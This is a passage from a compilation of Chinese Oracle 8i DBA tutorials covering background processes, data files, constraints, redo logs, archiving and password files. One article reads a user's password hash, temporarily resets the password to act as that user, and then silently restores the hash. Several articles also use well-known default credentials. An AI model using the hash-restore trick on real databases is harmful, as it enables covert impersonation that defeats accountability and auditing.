02CB8B4C PMON  process cleanup                          ##########
00       TRWR  trace writer process                     ##########
00       LMON  lkmgr monitor                            ##########
00       LMD0  lkmgr daemon 0                           ##########
02CB8E6C DBW0  db writer process 0                      ##########
00       DBW1  db writer process 1                      ##########
00       DBW2  db writer process 2                      ##########
00       DBW3  db writer process 3                      ##########
00       DBW4  db writer process 4                      ##########
00       DBW5  db writer process 5                      ##########
00       DBW6  db writer process 6                      ##########

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
00       DBW7  db writer process 7                      ##########
00       DBW8  db writer process 8                      ##########
00       DBW9  db writer process 9                      ##########
02CBB3EC ARC0  Archival Process 0                       ##########
00       ARC1  Archival Process 1                       ##########
00       ARC2  Archival Process 2                       ##########
00       ARC3  Archival Process 3                       ##########
00       ARC4  Archival Process 4                       ##########
00       ARC5  Archival Process 5                       ##########
00       ARC6  Archival Process 6                       ##########
00       ARC7  Archival Process 7                       ##########

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
00       ARC8  Archival Process 8                       ##########
00       ARC9  Archival Process 9                       ##########
02CB918C LGWR  Redo etc.                                ##########
00       LCK0  Lock Process 0                           ##########
00       LCK1  Lock Process 1                           ##########
00       LCK2  Lock Process 2                           ##########
00       LCK3  Lock Process 3                           ##########
00       LCK4  Lock Process 4                           ##########
00       LCK5  Lock Process 5                           ##########
00       LCK6  Lock Process 6                           ##########
00       LCK7  Lock Process 7                           ##########

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
00       LCK8  Lock Process 8                           ##########
00       LCK9  Lock Process 9                           ##########
00       BSP0  Buffer Server Process 0                  ##########
00       BSP1  Buffer Server Process 1                  ##########
00       BSP2  Buffer Server Process 2                  ##########
00       BSP3  Buffer Server Process 3                  ##########
00       BSP4  Buffer Server Process 4                  ##########
00       BSP5  Buffer Server Process 5                  ##########
00       BSP6  Buffer Server Process 6                  ##########
00       BSP7  Buffer Server Process 7                  ##########
00       BSP8  Buffer Server Process 8                  ##########

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
00       BSP9  Buffer Server Process 9                  ##########
02CB94AC CKPT  checkpoint                               ##########
02CB97CC SMON  System Monitor Process                   ##########
02CB9AEC RECO  distributed recovery                     ##########
00       EMN0  Event Monitor Process 0                  ##########
02CB9E0C SNP0  Job Queue Process 0                      ##########
02CBA12C SNP1  Job Queue Process 1                      ##########
02CBA44C SNP2  Job Queue Process 2                      ##########
02CBA76C SNP3  Job Queue Process 3                      ##########
00       SNP4  Job Queue Process 4                      ##########
00       SNP5  Job Queue Process 5                      ##########

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
00       SNP6  Job Queue Process 6                      ##########
00       SNP7  Job Queue Process 7                      ##########
00       SNP8  Job Queue Process 8                      ##########
00       SNP9  Job Queue Process 9                      ##########
00       SNPA  Job Queue Process A                      ##########
00       SNPB  Job Queue Process B                      ##########
00       SNPC  Job Queue Process C                      ##########
00       SNPD  Job Queue Process D                      ##########
00       SNPE  Job Queue Process E                      ##########
00       SNPF  Job Queue Process F                      ##########
00       SNPG  Job Queue Process G                      ##########

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
00       SNPH  Job Queue Process H                      ##########
00       SNPI  Job Queue Process I                      ##########
00       SNPJ  Job Queue Process J                      ##########
00       SNPK  Job Queue Process K                      ##########
00       SNPL  Job Queue Process L                      ##########
00       SNPM  Job Queue Process M                      ##########
00       SNPN  Job Queue Process N                      ##########
00       SNPO  Job Queue Process O                      ##########
00       SNPP  Job Queue Process P                      ##########
00       SNPQ  Job Queue Process Q                      ##########
00       SNPR  Job Queue Process R                      ##########

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
00       SNPS  Job Queue Process S                      ##########
00       SNPT  Job Queue Process T                      ##########
00       SNPU  Job Queue Process U                      ##########
00       SNPV  Job Queue Process V                      ##########
00       SNPW  Job Queue Process W                      ##########
00       SNPX  Job Queue Process X                      ##########
00       SNPY  Job Queue Process Y                      ##########
00       SNPZ  Job Queue Process Z                      ##########
00       QMN0  AQ Time Manager Process 0                ##########
00       QMN1  AQ Time Manager Process 1                ##########
00       QMN2  AQ Time Manager Process 2                ##########

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
00       QMN3  AQ Time Manager Process 3                ##########
00       QMN4  AQ Time Manager Process 4                ##########
00       QMN5  AQ Time Manager Process 5                ##########
00       QMN6  AQ Time Manager Process 6                ##########
00       QMN7  AQ Time Manager Process 7                ##########
00       QMN8  AQ Time Manager Process 8                ##########
00       QMN9  AQ Time Manager Process 9                ##########

已选择95行。

SQL> select * from v$bgprocess where paddr<>'00';

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
02CB8B4C PMON  process cleanup                          ##########
02CB8E6C DBW0  db writer process 0                      ##########
02CBB3EC ARC0  Archival Process 0                       ##########
02CB918C LGWR  Redo etc.                                ##########
02CB94AC CKPT  checkpoint                               ##########
02CB97CC SMON  System Monitor Process                   ##########
02CB9AEC RECO  distributed recovery                     ##########
02CB9E0C SNP0  Job Queue Process 0                      ##########
02CBA12C SNP1  Job Queue Process 1                      ##########
02CBA44C SNP2  Job Queue Process 2                      ##########
02CBA76C SNP3  Job Queue Process 3                      ##########

已选择11行。

SMON	系统进程

PMON	用户进程

DBWR	数据库写入进程

LGWR	日志写入进程

CKPT	检查点进程		用来减少实例恢复所需时间，
            init.ora中，log_checkpoint_interval = 10000，此参数设置检查点出现的频度

ARCH	归档进程		将联机重做日志拷贝到磁盘或磁带，即将联机重做日志归档

RECO	恢复进程		用于分布式数据库中的分布式处理，
            init.ora中，distributed_transactions = 10，此参数大于0时才被建立

SNPn	快照进程		数量取决于init.ora中参数job_queue_processes = 4

LCKn	锁进程		可选项，用于并行服务器

Dnnn	调度进程		可选项，仅用于多线程服务器


Oracle技术网—如何查看什么时间有哪些数据库对象结构被修改过

位置：首页→DBA→

阿木伯 著
如何查看什么时间有哪些数据库对象结构被修改过？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 说明：

SQL> col OBJECT_NAME format a20

SQL> SELECT OBJECT_NAME,　　　　　　　　　　　　　　　　　　　　　　　　--对象名
            OBJECT_TYPE,　　　　　　　　　　　　　　　　　　　　　　　　--对象类型
            TO_CHAR(CREATED,       'YYYY-Mon-DD HH24:MI') CREATE_TIME,　--创建时间
            TO_CHAR(LAST_DDL_TIME, 'YYYY-Mon-DD HH24:MI') MOD_TIME,　　 --修改时间
            TIMESTAMP,　　　　　　　　　　　　　　　　　　　　　　　　　--时间戳
            STATUS　　　　　　　　　　　　　　　　　　　　　　　　　　　--状态
     FROM   USER_OBJECTS
     WHERE  to_char(LAST_DDL_TIME,'yyyymmdd')>'&日期变量';


Oracle技术网—如何查看数据库的各种数据文件

位置：首页→DBA→

阿木伯 著
如何查看数据库的各种数据文件？

  • 系统环境：
      1、操作系统：Windows 2000，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：

SQL> set pages 100
SQL> col file_name form a60
SQL> col name form a60
SQL> col member form a50
SQL> col m0 form 99999 heading "Size (Mb)"
SQL>
SQL> spool datafile.lst
SQL>

1、查看数据文件
SQL> select file_name,bytes/(1024*1024) m0 from dba_data_files;

FILE_NAME                                                    Size (Mb)
------------------------------------------------------------ ---------
C:\ORACLE\ORADATA\ORADB\USERS01.DBF                                 20
C:\ORACLE\ORADATA\ORADB\DR01.DBF                                    20
C:\ORACLE\ORADATA\ORADB\TOOLS01.DBF                                 10
C:\ORACLE\ORADATA\ORADB\INDX01.DBF                                  20
C:\ORACLE\ORADATA\ORADB\RBS01.DBF                                   70
C:\ORACLE\ORADATA\ORADB\TEMP01.DBF                                  20
C:\ORACLE\ORADATA\ORADB\SYSTEM01.DBF                               236

已选择7行。

2、查看控制文件
SQL> select NAME,status from v$controlfile;

NAME                                                         STATUS
------------------------------------------------------------ -------
C:\ORACLE\ORADATA\ORADB\CONTROL01.CTL
C:\ORACLE\ORADATA\ORADB\CONTROL02.CTL
C:\ORACLE\ORADATA\ORADB\CONTROL03.CTL

3、查看日志文件
SQL> select group#,member,status from v$logfile;

    GROUP# MEMBER                                             STATUS
---------- -------------------------------------------------- -------
         1 C:\ORACLE\ORADATA\ORADB\REDO03.LOG                 STALE
         2 C:\ORACLE\ORADATA\ORADB\REDO02.LOG
         3 C:\ORACLE\ORADATA\ORADB\REDO01.LOG                 STALE


Oracle技术网—如何查看数据库的字符集

位置：首页→DBA→

阿木伯 著
如何查看数据库的字符集？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
        SQL> conn sys/change_on_install
    SQL> desc props$
    SQL> set arraysize 1
    SQL> col value$ format a40			--格式化value$的输出为40个字符宽
    SQL> select name,value$ from props$ where name='NLS_CHARACTERSET';

    SQL> conn system/manager
    SQL> select * from nls_database_parameters;
    SQL> select * from V$NLS_PARAMETERS;

SQL> select * from nls_database_parameters;

PARAMETER                                VALUE
---------------------------------------- -------------------
NLS_LANGUAGE                             AMERICAN
NLS_TERRITORY                            AMERICA
NLS_CURRENCY                             $
NLS_ISO_CURRENCY                         AMERICA
NLS_NUMERIC_CHARACTERS                   .,
NLS_CALENDAR                             GREGORIAN
NLS_DATE_FORMAT                          DD-MON-YY
NLS_DATE_LANGUAGE                        AMERICAN
NLS_CHARACTERSET                         ZHS16GBK
NLS_SORT                                 BINARY
NLS_NCHAR_CHARACTERSET                   ZHS16GBK
NLS_RDBMS_VERSION                        8.0.4.0.0

查询到12记录.

SQL> select * from V$NLS_PARAMETERS;

PARAMETER                                VALUE
---------------------------------------- -------------------
NLS_LANGUAGE                             SIMPLIFIED CHINESE
NLS_TERRITORY                            CHINA
NLS_CURRENCY                             RMB
NLS_ISO_CURRENCY                         CHINA
NLS_NUMERIC_CHARACTERS                   .,
NLS_CALENDAR                             GREGORIAN
NLS_DATE_FORMAT                          DD-MON-YY
NLS_DATE_LANGUAGE                        SIMPLIFIED CHINESE
NLS_CHARACTERSET                         ZHS16GBK
NLS_SORT                                 BINARY
NLS_NCHAR_CHARACTERSET                   ZHS16GBK

查询到11记录.


Oracle技术网—如何查看数据文件是否自动扩展

位置：首页→DBA→

阿木伯 著
如何查看数据文件是否自动扩展？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 说明：

SQL> col FILE_NAME format a40
SQL> col TABLESPACE_NAME format a20

SQL> select file_id,file_name,tablespace_name,autoextensible from dba_data_files order by file_id;

   FILE_ID FILE_NAME                                TABLESPACE_NAME      AUT
---------- ---------------------------------------- -------------------- ---
         1 C:\ORACLE\ORADATA\ORADB\SYSTEM01.DBF     SYSTEM               YES
         2 C:\ORACLE\ORADATA\ORADB\RBS01.DBF        RBS                  YES
         3 C:\ORACLE\ORADATA\ORADB\USERS01.DBF      USERS                YES
         4 C:\ORACLE\ORADATA\ORADB\TEMP01.DBF       TEMP                 YES
         5 C:\ORACLE\ORADATA\ORADB\TOOLS01.DBF      TOOLS                YES
         6 C:\ORACLE\ORADATA\ORADB\INDX01.DBF       INDX                 YES
         7 C:\ORACLE\ORADATA\ORADB\DR01.DBF         DRSYS                YES
         8 D:\TEST.DBF                              TEST                 NO

已选择8行。

说明：TEST表空间用以下语句创建的一个实验表空间，没有指定 AUTOEXTEND ON 参数，所以不是自动扩展。

SQL> create tablespace test datafile
  2  'd:\test.dbf' size 5M
  3  default storage (initial 1M next 1M pctincrease 0)
  4  /


Oracle技术网—如何查看数据文件所在的路径

位置：首页→DBA→

如何查看数据文件所在的路径？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • SQL语句：
        SQL> col file_name format a50
    SQL> select tablespace_name,file_id,bytes/1024/1024,file_name from dba_data_files order by file_id;

    TABLESPACE_NAME          FILE_ID BYTES/1024/1024 FILE_NAME
    ---------------------- --------- --------------- ------------------------------
    SYSTEM                         1             200 C:\ORANT\DATABASE\SYS1ORCL.ORA
    USER_DATA                      2             138 C:\ORANT\DATABASE\USR1ORCL.ORA
    ROLLBACK_DATA                  3              10 C:\ORANT\DATABASE\RBS1ORCL.ORA
    TEMPORARY_DATA                 4               2 C:\ORANT\DATABASE\TMP1ORCL.ORA


Oracle技术网—如何查看用户表上的约束内容

位置：首页→DBA→

【点击：】 阿木伯 著
如何查看用户表上的约束内容？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：

SQL> conn system/manager
SQL> grant connect,resource to test1 identified by pass1;
SQL> conn test1/pass1
SQL> create table a(a number primary key);
SQL> create table b(a number primary key,b number not null,c number check(c>0));

SQL> desc USER_CONSTRAINTS
 名称                                      空?      类型
 ----------------------------------------- -------- --------------
 OWNER                                     NOT NULL VARCHAR2(30)	--用户名
 CONSTRAINT_NAME                           NOT NULL VARCHAR2(30)	--约束名
 CONSTRAINT_TYPE                                    VARCHAR2(1)		--约束类型
 TABLE_NAME                                NOT NULL VARCHAR2(30)	--表名
 SEARCH_CONDITION                                   LONG		--
 R_OWNER                                            VARCHAR2(30)	--
 R_CONSTRAINT_NAME                                  VARCHAR2(30)	--
 DELETE_RULE                                        VARCHAR2(9)		--
 STATUS                                             VARCHAR2(8)		--状态
 DEFERRABLE                                         VARCHAR2(14)	--
 DEFERRED                                           VARCHAR2(9)		--
 VALIDATED                                          VARCHAR2(13)	--
 GENERATED                                          VARCHAR2(14)	--
 BAD                                                VARCHAR2(3)		--
 RELY                                               VARCHAR2(4)		--
 LAST_CHANGE                                        DATE		--最后更改时间

SQL> desc USER_CONS_COLUMNS
 名称                                      空?      类型
 ----------------------------------------- -------- ----------------
 OWNER                                     NOT NULL VARCHAR2(30)	--用户名
 CONSTRAINT_NAME                           NOT NULL VARCHAR2(30)	--约束名
 TABLE_NAME                                NOT NULL VARCHAR2(30)	--约束类型
 COLUMN_NAME                                        VARCHAR2(4000)	--列名
 POSITION                                           NUMBER		--

SQL> col 用户名 format a10
SQL> col 约束名称 format a15
SQL> col 约束类型 format a10
SQL> col 表名 format a10
SQL> col 列名 format a10
SQL> col 约束内容 format a20

SQL> select a.OWNER 用户名,
            a.CONSTRAINT_NAME 约束名称,
            a.CONSTRAINT_TYPE 约束类型,
            a.TABLE_NAME 表名,
            b.COLUMN_NAME 列名,
            a.SEARCH_CONDITION 约束内容
     from USER_CONSTRAINTS a,USER_CONS_COLUMNS b
     where a.CONSTRAINT_NAME=b.CONSTRAINT_NAME;

用户名     约束名称        约束类型   表名       列名       约束内容
---------- --------------- ---------- ---------- ---------- --------------------
TEST1      SYS_C001239     P          A          A
TEST1      SYS_C001240     C          B          B          "B" IS NOT NULL
TEST1      SYS_C001241     C          B          C          c>0
TEST1      SYS_C001242     P          B          A

这样，如果发出以下一样的语句，会出现约束错误，可以根据显示的约束号来查询是违反了哪一列上的约束条件

SQL> insert into b values(1,1,-1);
insert into b values(1,1,-1)
*
ERROR 位于第 1 行:
ORA-02290: 违反检查约束条件 (TEST1.SYS_C001241)

SQL> select a.OWNER 用户名,
            a.CONSTRAINT_NAME 约束名称,
            a.CONSTRAINT_TYPE 约束类型,
            a.TABLE_NAME 表名,
            b.COLUMN_NAME 列名,
            a.SEARCH_CONDITION 约束内容
     from USER_CONSTRAINTS a,USER_CONS_COLUMNS b
     where a.CONSTRAINT_NAME='SYS_C001241' and a.CONSTRAINT_NAME=b.CONSTRAINT_NAME;

用户名     约束名称        约束类型   表名       列名       约束内容
---------- --------------- ---------- ---------- ---------- --------------------
TEST1      SYS_C001241     C          B          C          c>0


Oracle技术网—如何查看用户表所占空间的大小

位置：首页→DBA→

阿木伯 著
如何查看用户表所占空间的大小？

  • 说明：

SQL> col SEGMENT_NAME format a20

SQL> col TABLESPACE_NAME format a20

SQL> select segment_name,tablespace_name,bytes,blocks from user_segments where segment_type='TABLE';


Oracle技术网—如何查询出primary key和forgen key的关系表

位置：首页→DBA→

阿木伯 著
如何查询出primary key和forgen key的关系表？

  • 说明：

SQL> create user a identified by a;	--创建测试用户a
SQL> grant connect,resource to a;	--给用户a授权
SQL> conn a/a			--以用户a连接

SQL> create table a1(a11 number primary key);
SQL> insert into a1 values(1);
SQL> insert into a1 values(2);
SQL> insert into a1 values(3);
SQL> commit;

SQL> create table b1
  2  (
  3  b11 char(1),
  4  b12 number,
  5  foreign key(b12) references a1(a11)
  6  )
  7  /

SQL> insert into b1 values('a',4);
insert into b1 values('a',4)
*
ERROR 位于第 1 行:
ORA-02291: 违反完整约束条件 (A.SYS_C001241) - 未找到父项关键字

注：a1表中a11列上只有1、2、3这三个值，而b1表中的列b12定义时引用了a1表中的a11列，
那么，在向b1表中录入记录时，b12列只能录1、2、3，而不能输入4。

SQL> create table a2(a21 number primary key);
SQL> insert into a2 values(1);
SQL> insert into a2 values(2);
SQL> insert into a2 values(3);
SQL> commit;

SQL> create table b2
  2  (
  3  b21 char(1),
  4  b22 number,
  5  foreign key(b22) references a2(a21)
  6  )
  7  /

注：以下语句查询primary key和forgen key的关系表

SQL> col 外键拥有者 format a10
SQL> col 外键表 format a10
SQL> col 主键拥有者 format a10
SQL> col 主键表 format a10
SQL> col 外键列 format a15
SQL> col 主键列 format a15

select
a.owner 外键拥有者,
a.table_name 外键表,
c.column_name 外键列,
b.owner 主键拥有者,
b.table_name 主键表,
d.column_name 主键列
from
user_constraints a,
user_constraints b,
user_cons_columns c,
user_cons_columns d
where
    a.r_constraint_name=b.constraint_name
and a.constraint_type='R'
and b.constraint_type='P'
and a.r_owner=b.owner
and a.constraint_name=c.constraint_name
and b.constraint_name=d.constraint_name
and a.owner=c.owner
and a.table_name=c.table_name
and b.owner=d.owner
and b.table_name=d.table_name
/

外键拥有者 外键表     外键列          主键拥有者 主键表     主键列
---------- ---------- --------------- ---------- ---------- ------
A          B1         B12             A          A1         A11
A          B2         B22             A          A2         A21


Oracle技术网—如何改变当前联机日志文件的大小

位置：首页→DBA→

【点击：】 阿木伯 著
如何改变当前联机日志文件的大小？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i (8.1.7) for NT 企业版
      3、安装路径：D:\ORACLE
  • 实现方法：
      方法：加入新的大的日志文件，然后删掉旧的小的日志文件

      假设现有三个日志组，每个组内有一个成员，每个成员的大小为1MB，现在想把此三个日志组的成员大小都改为10MB

1、创建2个新的日志组
alter database add logfile group 4 ('D:\ORACLE\ORADATA\ORADB\REDO04_1.LOG') size 1024k;
alter database add logfile group 5 ('D:\ORACLE\ORADATA\ORADB\REDO05_1.LOG') size 1024k;

2、切换当前日志到新的日志组
alter system switch logfile;
alter system switch logfile;

3、删除旧的日志组
alter database drop logfile group 1;
alter database drop logfile group 2;
alter database drop logfile group 3;

4、操作系统下删除原日志组1、2、3中的文件

5、重建日志组1、2、3
alter database add logfile group 1 ('D:\ORACLE\ORADATA\ORADB\REDO01_1.LOG') size 10M;
alter database add logfile group 2 ('D:\ORACLE\ORADATA\ORADB\REDO02_1.LOG') size 10M;
alter database add logfile group 3 ('D:\ORACLE\ORADATA\ORADB\REDO03_1.LOG') size 10M;

6、切换日志组
alter system switch logfile;
alter system switch logfile;
alter system switch logfile;

7、删除中间过渡用的日志组4、5
alter database drop logfile group 4;
alter database drop logfile group 5;

8、到操作系统下删除原日志组4、5中的文件

9、备份当前的最新的控制文件
SQL> connect internal
SQL> alter database backup controlfile to trace resetlogs


Oracle技术网—如何利用DBMS_SQL包和游标计算当前用户下所有表的行数

位置：首页→DBA→

阿木伯 著
如何利用DBMS_SQL包和游标计算当前用户下所有表的行数？

  • 系统环境：
      1、操作系统：Windows 2000，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：

SQL> conn scott/tiger
SQL> set serveroutput on size 1000000
SQL>
SQL> DECLARE
  2    t_c1_tname      user_tables.table_name%TYPE;
  3    t_command       varchar2(200);
  4    t_cid           integer;
  5    t_total_records number(10);
  6    stat            integer;
  7    row_count       integer;
  8    t_limit         integer := 0;					--限制只取出记录大于0的表的情况
  9    cursor c1 is select table_name from user_tables order by table_name;	--查出所有表的名字
 10  BEGIN
 11    t_limit := 0;
 12    open c1;
 13    loop
 14          fetch c1 into t_c1_tname;			--取出一个表名
 15          exit when c1%NOTFOUND;			--如果游标记录取完，退出循环
 16          t_command := 'SELECT COUNT(0) FROM '||t_c1_tname;	--定义SQL命令
 17          t_cid := DBMS_SQL.OPEN_CURSOR;		--创建一个游标
 18          DBMS_SQL.PARSE(t_cid,t_command,dbms_sql.native);	--向服务器发出一个语句并检查这个语句的语法和语义错误
 19          DBMS_SQL.DEFINE_COLUMN(t_cid,1,t_total_records);	--定义将从FetchRows()函数接收数据的变量的数据类型与大小
 20          stat := DBMS_SQL.EXECUTE(t_cid);		--执行此语句，因为执行的是查询，所以必须跟着Fetch_Rows函数并为单个行检索数据
 21          row_count := DBMS_SQL.FETCH_ROWS(t_cid);	--取回一行数据放入局部缓冲区
 22          DBMS_SQL.COLUMN_VALUE(t_cid,1,t_total_records);	--返回调用FetchRows()取回的一列的值，这一列的值存储在t_total_records中
 23          if t_total_records > t_limit then
 24                  DBMS_OUTPUT.PUT_LINE(rpad(t_c1_tname,55,' ')||
 25                          to_char(t_total_records,'99999999')||' record(s)');
 26
 27          end if;
 28          DBMS_SQL.CLOSE_CURSOR(t_cid);
 29    end loop;
 30    close c1;
 31  END;
 32  /
DEPT                                                           4 record(s)
EMP                                                           14 record(s)
SALGRADE                                                       5 record(s)

PL/SQL 过程已成功完成。


Oracle技术网—如何启动ARCHIVELOG模式

位置：首页→DBA→

【点击：】 阿木伯 著
如何启动ARCHIVELOG模式？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现步骤：

1、管理器
SVRMGR> connect internal
SVRMGR> shutdown
SVRMGR> startup mount [dbname]
SVRMGR> alter database [dbname] archivelog;	--起用归档模式
SVRMGR> archive log start			--启动自动归档模式，重起数据库后，按init.ora配置
SVRMGR> alter database [dbname] open;		--打开数据库
SVRMGR> exit

2、修改数据库初始化参数文件，定义归档模式（自动）、归档日志文件保存路径、归档日志文件命名方法

3、重新启动数据库
  • 具体实例：

C:\>svrmgrl

Oracle Server Manager Release 3.1.6.0.0 - Production

版权所有 (c) 1997，1999，Oracle Corporation。保留所有权利。

Oracle8i Enterprise Edition Release 8.1.6.0.0 - Production
With the Partitioning option
JServer Release 8.1.6.0.0 - Production

SVRMGR> connect internal
连接成功。
SVRMGR> shutdown
已关闭数据库。
已卸下数据库。
已关闭 ORACLE 实例。
SVRMGR> startup mount
已启动 ORACLE 实例。
系统全局区域合计有                         57124108个字节
Fixed Size                                          70924个字节
Variable Size                                    40198144个字节
Database Buffers                                 16777216个字节
Redo Buffers                                        77824个字节
已装入数据库。
SVRMGR> alter database archivelog;
语句已处理。
SVRMGR> archive log start
语句已处理。
SVRMGR> alter database open;
语句已处理。
SVRMGR> alter system switch logfile;	--强制系统进行日志切换，可马上观察到归档日志的产生
语句已处理。
SVRMGR> exit
服务器管理程序结束。

修改数据库参数文件c:\oracle\admin\oradb\pfile\init.ora，
取消以下语句的#注释
log_archive_start = true
log_archive_dest_1 = "location=C:\Oracle\oradata\oradb\archive"
log_archive_format = %%ORACLE_SID%%T%TS%S.ARC
关闭数据库，重新启动

查看C:\Oracle\oradata\oradb\archive目录下，可以看到类似ORADBT001S01201.ARC的文件，说明归档成功

解释init.ora参数文件中关于归档重做日志参数项的含义

归档模式是自动还是手工，true为自动，false为手工
log_archive_start = true

归档日志文件所保存的路径
log_archive_dest_1 = "location=C:\Oracle\oradata\oradb\archive"

归档日志文件的命名方法
log_archive_format = %%ORACLE_SID%%T%TS%S.ARC

归档命令：

启动自动归档模式，系统重起后，将按init.ora中的参数log_archive_start的值设置归档方式
SVRMGR> archive log start

启动手工归档模式
SVRMGR> archive log stop

查看归档信息：重做日志是否归档方式、是自动归档还是手工归档、归档路径、最旧的联机日志循序号...
SVRMGR> archive log list

归档一个已满，但没有归档的联机重做日志
SVRMGR> archive log next

归档所有已满，但没有归档的联机重做日志
SVRMGR> archive log all

注意：一个事务即使不被提交，也会被写入到重做日志中


Oracle技术网—如何取出某一用户的密码，再原封不动的改回去

位置：首页→DBA→

阿木伯 著
如何取出某一用户的密码，再原封不动的改回去？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 需求说明：
      1、？？？
  • 实现方法：
      SQL> conn system/manager

      SQL> select password from dba_users where username='USER1';(用户名一定要用大写)

      结果：1F8E5A929B6861AC(这就是此用户的密码)

      SQL> alter user USER1 identified by aaa;(改变此用户的密码为aaa)

      SQL> conn user1/aaa(连接到用户上，？？？)

      SQL> 执行你想要的操作...

      SQL> conn system/manager

      SQL> alter user USER1 identified by values '1F8E5A929B6861AC';(改回原有密码)

                            2000.9.24


Oracle技术网—如何设置BLOCK_SIZE大于2K，如：4K、16K

位置：首页→DBA→

【点击：】 阿木伯 著
如何设置BLOCK_SIZE大于2K，如：4K、16K？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 说明：

只能在新安装数据库时，指定BLOCK_SIZE的大小，8.0.4默认安装是2K，8.1.6版默认安装是8K。


Oracle技术网—如何手工指定使用哪个回退段

位置：首页→DBA→

如何手工指定使用哪个回退段？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      在执行大事务时,有时oracle会报出如下的错误:

      ORA-01555:snapshot too old (rollback segment too small)

      这说明oracle给此事务随机分配的回滚段太小了,这时可以为它指定一个足够大的回滚段,以确保这个事务的成功执行。

      例如：
      SQL> set transaction use rollback segment 回滚段名;


Oracle技术网—如何修改internal的口令

位置：首页→DBA→

【点击：】 阿木伯 著
如何修改internal的口令？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      用法：orapwd file= password= entries=

      参数解释：
              file - name of password file (mand),
              password - password for SYS and INTERNAL (mand),
              entries - maximum number of distinct DBA and OPERs (opt),
              There are no spaces around the equal-to (=) character.

      1、进入DOS下

      2、默认internal密码文件在c:\orant\database下，是隐藏属性，文件名称与数据库实例名有关

         如默认ORACLE实例名为ORCL，则internal密码文件名为pwdorcl.ora

      3、建立新的internal密码文件，起个新名字为pwdora8.ora

         orapwd80 file=pwdora8.ora password=B entries=5　　　　　--注：password项一定要用大写，并且不要用单引号

      4、拷贝pwdora8.ora文件到c:\orant\database目录下

      5、运行regedit，修改口令文件指向

      6、找到HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE项

         定位ORA_ORCL_PWFILE子项，改变其值为c:\orant\database\pwdora8.ora

      7、关闭ORACLE数据库，重新启动

      8、进入svrmgr30服务程序，测试internal密码是否更改成功


Oracle技术网—如何移动控制文件到新的目录中

位置：首页→DBA→

【点击：】 阿木伯 著
如何移动控制文件到新的目录中？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i (8.1.7) for NT 企业版
      3、安装路径：D:\ORACLE
  • 实现方法：
      1、   SHUTDOWN

2、   用操作系统命令将C:\Oracle\oradata\oradb\control01.ctl拷贝到新的目录：
      D:\Oracle\oradb\data，
      则现在控制文件的完整路径为：D:\Oracle\oradb\data\control01.ctl，
      修改init.ora文件，在control_files参数中改变控制文件的路径，

      修改前
      control_files = ("C:\Oracle\oradata\oradb\control01.ctl")
      修改后
      control_files = ("D:\Oracle\oradb\data\control01.ctl")

3、   STARTUP


Oracle技术网—如何移数据库文件

位置：首页→DBA→

阿木伯 著
如何移数据库文件？

  • 软件环境：
      1、Windows 2000+ORACLE 8.1.6
      2、ORACLE安装路径为：C:\ORACLE
  • 实现方法：

有两种移动数据库文件的方法：
alter database或alter tablespace，

后者仅用于不包括 SYSTEM 的表空间、回滚段或临时段的数据文件
前者可用于所有数据文件

alter database方法：

1、创建实验表空间
SQL> create tablespace test datafile
  2  'e:\test.dbf' size 5M
  3  default storage (initial 1M next 1M pctincrease 0)
  4  /
SQL>

表空间已创建。

e:为硬盘上的一个逻辑分区，现要把test.dbf文件移到d:盘

可使用以下语句查看一下数据文件状态
SQL> select file_name,file_id,tablespace_name,bytes,status from dba_data_files;

FILE_NAME                                   FILE_ID TABLESPACE_NAME           BYTES STATUS
---------------------------------------- ---------- -------------------- ---------- ---------
C:\ORACLE\ORADATA\ORADB\SYSTEM01.DBF              1 SYSTEM                273154048 AVAILABLE
C:\ORACLE\ORADATA\ORADB\RBS01.DBF                 2 RBS                    73400320 AVAILABLE
C:\ORACLE\ORADATA\ORADB\USERS01.DBF               3 USERS                  20971520 AVAILABLE
C:\ORACLE\ORADATA\ORADB\TEMP01.DBF                4 TEMP                   20971520 AVAILABLE
C:\ORACLE\ORADATA\ORADB\TOOLS01.DBF               5 TOOLS                  10485760 AVAILABLE
C:\ORACLE\ORADATA\ORADB\INDX01.DBF                6 INDX                   20971520 AVAILABLE
